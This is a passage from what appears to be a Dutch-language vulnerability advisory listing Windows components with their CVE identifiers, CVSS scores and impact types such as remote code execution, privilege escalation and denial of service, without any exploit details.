verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              